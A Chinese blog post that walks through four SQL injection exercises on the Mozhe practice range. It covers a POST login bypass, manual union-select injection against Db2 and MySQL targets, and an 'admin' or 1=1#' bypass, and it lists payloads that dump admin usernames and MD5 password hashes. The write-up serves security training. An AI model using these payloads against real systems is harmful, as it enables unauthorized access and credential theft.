1.SQL注入漏洞测试(POST)
通过绕过方式进入管理后台。
1.1用burpsuite工具抓包 在name=1后面输入 union select 1,2,3-- - 这样就成功的进入到了用户的管理登陆后台
1.2然后得到当前靶场的key值
2.SQL手工注入漏洞测试(Db2数据库)
解题方向:
手工进行SQL注入测试,获取管理密码登录
2.1: 用order by 测试字段 发现可以 测试到字段为4
2.2接下来 我们用联合查询 测试字段为4 那我们就这样写 union select 1,2,3,4--+ 发现失败 这是因为不同的数据库语法问题
2.3 用这条命令 就可以了
union select 1,2,3,4 from sysibm.systables
2.4 然后用语法 爆出他的数据库名
-1 union select 1,2,current schema,4 from sysibm.sysdummy1
SYSIBM.SYSDUMMY1表是一个内存的特殊表(按照Oracle的术语,习惯称之为“伪表”),常用于访问DB2中的寄存器,从而返回特定需要内容,类同于临时表
2.5 然后爆他的表名
-1 union select 1,2,tabname,4 from syscat.tables where tabschema='DB2INST1' limit 0,1
2.6 然后爆出他的字段值
得到下图 就是 db2数据库的登陆账号和密码了
union select 1,name,password,4 from GAME_CHARACTER limit 1,1
注意 密码是加密的 md5解密就可以了
3.SQL注入漏洞测试(登录绕过)
打开他的登陆界面 输入 admin' or 1=1#
就可以得到他的可以值了
4.SQL手工注入漏洞测试(MySQL数据库)
测试寻找注入口:
1.进入靶场 我们需要进入“维护通知的地址”进行说起来的注入
2. 直接进在地址栏进行SQL语句的测试
在地址栏加上语句“and 1=1”,页面正常显示
然后尝试加入语句“and 1=2”,页面显示出错,没有内容 说明地址栏是一个sql注入口
3.发现注入口 就可以用sql语句 注入了:
用order by查询,从数值从1开始递增测试,当“oeder by 5时页面出错证明表的列数不大于5
4. 然后 使用联合查询 找出查询结果在页面上的回显位置:
在地址栏后加上?id=-1union select 1,2,3,4--+返回结果,在页面也可以看到2,3位置查询的结果可以在页面显示,因此我们可以在2,3的位置注入语句,对数据库的数据进行查询
5.查当前库名(爆库名)
6.然后用这条命令查询他的数据 就可以得到 登陆账号跟密码了
UNION ALL SELECT 1,2,GROUP_CONCAT(id,'-->',name,'-->',password),4 FROM StormGroup_member
账号mozhe 密码是后面的 注意 密码用md解码即可
7 然后登陆到管理界面就可以得到他的key值了
标签:攻略,页面,union,sql,测试,SQL,注入,select,墨者 From: https://blog.csdn.net/2201_75891821/article/details/140616289